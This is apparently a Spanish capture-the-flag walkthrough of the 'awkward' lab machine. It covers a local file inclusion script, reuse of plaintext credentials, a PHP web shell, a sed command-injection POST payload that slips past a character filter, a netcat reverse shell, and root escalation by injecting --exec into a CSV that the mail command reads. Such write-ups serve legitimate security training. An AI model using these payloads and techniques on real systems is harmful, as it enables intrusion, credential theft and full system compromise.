python3 lfi.py /home/bean/Documents/backup_home.sh
#!/bin/bash
mkdir /home/bean/Documents/backup_tmp
cd /home/bean
tar --exclude='.npm' --exclude='.cache' --exclude='.vscode' -czvf /home/bean/Documents/backup_tmp/bean_backup.tar.gz .
date > /home/bean/Documents/backup_tmp/time.txt
cd /home/bean/Documents/backup_tmp
tar -czvf /home/bean/Documents/backup/bean_backup_final.tar.gz .
rm -r /home/bean/Documents/backup_tmp
Puedo ver su contenido
python3 lfi.py /home/bean/Documents/backup_home.sh
#!/bin/bash
mkdir /home/bean/Documents/backup_tmp
cd /home/bean
tar --exclude='.npm' --exclude='.cache' --exclude='.vscode' -czvf /home/bean/Documents/backup_tmp/bean_backup.tar.gz .
date > /home/bean/Documents/backup_tmp/time.txt
cd /home/bean/Documents/backup_tmp
tar -czvf /home/bean/Documents/backup/bean_backup_final.tar.gz .
rm -r /home/bean/Documents/backup_tmp
Se está creando un comprimido de todo lo que hay en el directorio personal del usuario bean
. Me lo traigo y lo almaceno en un archivo
python3 lfi.py /home/bean/Documents/backup/bean_backup_final.tar.gz > file.tar.gz
Pero así se corrompe
tar -xf file.tar.gz
gzip: stdin: not in gzip format
tar: Child returned status 1
tar: Error is not recoverable: exiting now
Para solucionarlo, basta con cambiar r.text
por
with open("file.tar.gz", "wb") as f:
f.write(r.content)
en el script de python
python3 lfi.py /home/bean/Documents/backup/bean_backup_final.tar.gz
En .config/xpad
hay un archivo con credenciales en texto claro
cat content-DS1ZS1
TO DO:
- Get real hat prices / stock from Christine
- Implement more secure hashing mechanism for HR system
- Setup better confirmation message when adding item to cart
- Add support for item quantity > 1
- Implement checkout system
boldHR SYSTEM/bold
bean.hill
014mrbeanrules!#P
https://www.slac.stanford.edu/slac/www/resource/how-to-use/cgi-rexx/cgi-esc.html
boldMAKE SURE TO USE THIS EVERYWHERE ^^^/bold#
Gano acceso al sistema
ssh bean@10.10.11.185
bean@10.10.11.185's password:
Welcome to Ubuntu 22.04.1 LTS (GNU/Linux 5.15.0-52-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Sun Oct 23 21:38:08 2022 from 10.10.14.6
bean@awkward:~$
Puedo ver la primera flag
bean@awkward:~$ cat user.txt
c27f3e6ceab434ce99cce0eb00bfa9df
Escalada
Las credenciales se reutilizan para el usuario admin
en http://store.hat-valley.htb/
Subo el pspy
para ver tareas que se están ejecutando en el sistema
2023/03/24 22:07:24 CMD: UID=0 PID=909 | /bin/bash /root/scripts/notify.sh
2023/03/24 22:07:24 CMD: UID=0 PID=908 | inotifywait --quiet --monitor --event modify /var/www/private/leave_requests.csv
2023/03/24 22:07:24 CMD: UID=0 PID=907 | /bin/bash /root/scripts/notify.sh
El usuario root
está ejecutando un script de bash
. Listo el contenido en /var/www
Tengo capacidad de escritura en dos directorios
bean@awkward:/var/www$ find . -writable 2>/dev/null -ls
17158 4 drwxrwxrwx 2 root root 4096 Mar 24 22:10 ./store/product-details
17102 4 drwxrwxrwx 2 root root 4096 Oct 6 01:35 ./store/cart
Dentro del primero hay tres archivos TXT
bean@awkward:/var/www$ cd ./store/product-details
bean@awkward:/var/www/store/product-details$ ls
1.txt 2.txt 3.txt
bean@awkward:/var/www/store/product-details$ cat *
***Hat Valley Product***
item_id=1&item_name=Yellow Beanie&item_brand=Good Doggo&item_price=$39.90
***Hat Valley Product***
item_id=2&item_name=Palm Tree Cap&item_brand=Kool Kats&item_price=$48.50
***Hat Valley Product***
item_id=3&item_name=Straw Hat&item_brand=Sunny Summer&item_price=$70.00
El otro está vacío
bean@awkward:/var/www/store/cart$ ls -la
total 8
drwxrwxrwx 2 root root 4096 Oct 6 01:35 .
drwxr-xr-x 9 root root 4096 Oct 6 01:35 ..
Creo un archivo en PHP que me permita ejecutar comandos
<?php
system($_REQUEST['cmd]);
?>
Veo el archivo de configuración del ngnix
bean@awkward:/var/www/store/cart$ cat /etc/nginx/sites-available/store.conf
server {
listen 80;
server_name store.hat-valley.htb;
root /var/www/store;
location / {
index index.php index.html index.htm;
}
# pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000
#
location ~ /cart/.*\.php$ {
return 403;
}
location ~ /product-details/.*\.php$ {
return 403;
}
location ~ \.php$ {
auth_basic "Restricted";
auth_basic_user_file /etc/nginx/conf.d/.htpasswd;
fastcgi_pass unix:/var/run/php/php8.1-fpm.sock;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $realpath_root$fastcgi_script_name;
include fastcgi_params;
}
# deny access to .htaccess files, if Apache's document root
# concurs with nginx's one
#
#location ~ /\.ht {
# deny all;
#}
}
En caso de que quiera apuntar a este script directamente, situado en /cart
, me va a devolver un código de estado 403. Filtro por funciones system
en todos los scripts
bean@awkward:/var/www/store$ grep -ri "system("
cart_actions.php: system("echo '***Hat Valley Cart***' > {$STORE_HOME}cart/{$user_id}");
cart_actions.php: system("head -2 {$STORE_HOME}product-details/{$item_id}.txt | tail -1 >> {$STORE_HOME}cart/{$user_id}");
cart_actions.php: system("sed -i '/item_id={$item_id}/d' {$STORE_HOME}cart/{$user_id}");
cart/test.php:system($_REQUEST['cmd']);
En este caso, se puede tratar de inyectar comandos en la función sed
. Lo primero es añadir un producto de la tienda a la cesta
Intercepto con BurpSuite
la petición al eliminarlo
POST /cart_actions.php HTTP/1.1
Host: store.hat-valley.htb
Content-Length: 49
Authorization: Basic YWRtaW46MDE0bXJiZWFucnVsZXMhI1A=
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://store.hat-valley.htb
Referer: http://store.hat-valley.htb/cart.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
item=1&user=a03e-e3bf-4d6-0108&action=delete_item
Inyecto el comando, pero antes hay que tener en cuenta que ciertos caracteres están restringidos
if ($_SERVER['REQUEST_METHOD'] === 'POST' && $_POST['action'] === 'delete_item' && $_POST['item'] && $_POST['user']) {
$item_id = $_POST['item'];
$user_id = $_POST['user'];
$bad_chars = array(";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"); //no hacking allowed!!
También hay que burlar la validación del item
if(checkValidItem("{$STORE_HOME}cart/{$user_id}")) {
system("sed -i '/item_id={$item_id}/d' {$STORE_HOME}cart/{$user_id}");
echo "Item removed from cart";
``
El payload sería así:
```null
POST /cart_actions.php HTTP/1.1
Host: store.hat-valley.htb
Content-Length: 49
Authorization: Basic YWRtaW46MDE0bXJiZWFucnVsZXMhI1A=
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://store.hat-valley.htb
Referer: http://store.hat-valley.htb/cart.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
item=1'+-e+"1e+/tmp/test.sh"+'&user=a03e-e3bf-4d6-0108&action=delete_item
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 27 Mar 2023 09:59:04 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 22
Item removed from cart
Recibo el ping
tcpdump -i tun0 icmp -n
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
10:05:01.867846 IP 10.10.11.185 > 10.10.16.2: ICMP echo request, id 2, seq 1, length 64
10:05:01.867906 IP 10.10.16.2 > 10.10.11.185: ICMP echo reply, id 2, seq 1, length 64
Me envío una reverse shell
nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.185] 36464
bash: cannot set terminal process group (1406): Inappropriate ioctl for device
bash: no job control in this shell
www-data@awkward:~/store$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@awkward:~/store$ ^Z
zsh: suspended nc -nlvp 443
❯ stty raw -echo; fg
[1] + continued nc -nlvp 443
reset xterm
www-data@awkward:~/store$ export TERM=xterm
www-data@awkward:~/store$ export SHELL=bash
www-data@awkward:~/store$ stty rows 55 columns 209
Gano acceso como www-data
. Puedo leer el archivo de antes
www-data@awkward:~/store$ ls -l /var/www/private/leave_requests.csv
-rwxrwxrwx 1 christine www-data 600 Mar 27 21:30 /var/www/private/leave_requests.csv
www-data@awkward:~/store$ cat /var/www/private/leave_requests.csv
Leave Request Database,,,,
,,,,
HR System Username,Reason,Start Date,End Date,Approved
bean.hill,Taking a holiday in Japan,23/07/2022,29/07/2022,Yes
christine.wool,Need a break from Jackson,14/03/2022,21/03/2022,Yes
jackson.lightheart,Great uncle's goldfish funeral + ceremony,10/05/2022,10/06/2022,No
jackson.lightheart,Vegemite eating competition,12/12/2022,22/12/2022,No
christopher.jones,Donating blood,19/06/2022,23/06/2022,Yes
christopher.jones,Taking a holiday in Japan with Bean,29/07/2022,6/08/2022,Yes
bean.hill,Inevitable break from Chris after Japan,14/08/2022,29/08/2022,No
Al añadir líneas aquí, una tarea CRON se encarga de borrarlas
echo 'bean.hill,Inevitable break from Chris after Test,14/08/2022,29/08/2022,No' >> /var/www/private/leave_requests.csv; cat /var/www/private/leave_requests.csv; ./pspy
2023/03/27 22:10:01 CMD: UID=0 PID=3835 | /bin/bash /root/scripts/restore.sh
2023/03/27 22:10:01 CMD: UID=0 PID=3834 | mail -s Leave Request: christine
2023/03/27 22:10:01 CMD: UID=0 PID=3839 | /bin/bash /root/scripts/restore.sh
2023/03/27 22:10:01 CMD: UID=0 PID=3840 | /usr/sbin/sendmail -oi -f root@awkward -t
2023/03/27 22:10:01 CMD: UID=0 PID=3842 | /usr/sbin/postdrop -r
2023/03/27 22:10:01 CMD: UID=0 PID=3841 | /usr/sbin/sendmail -FCronDaemon -i -B8BITMIME -oem root
2023/03/27 22:10:01 CMD: UID=0 PID=3843 | /usr/sbin/postdrop -r
2023/03/27 22:10:01 CMD: UID=0 PID=3844 | cleanup -z -t unix -u -c
2023/03/27 22:10:01 CMD: UID=0 PID=3853 | local -t unix
2023/03/27 22:10:01 CMD: UID=0 PID=3852 | local -t unix
2023/03/27 22:10:01 CMD: UID=0 PID=3851 | mail -s Leave Request: bean.hill christine
2023/03/27 22:10:01 CMD: UID=128 PID=3845 | trivial-rewrite -n rewrite -t unix -u -c
2023/03/27 22:10:01 CMD: UID=0 PID=3854 | /usr/sbin/sendmail -oi -f root@awkward -t
2023/03/27 22:10:01 CMD: UID=0 PID=3855 | /usr/sbin/postdrop -r
Se puede inyectar un comando según GTFObins
Añado la siguiente línea al archivo:
--exec='/tmp/test.sh'
Gano acceso al sistema y puedo ver la segunda flag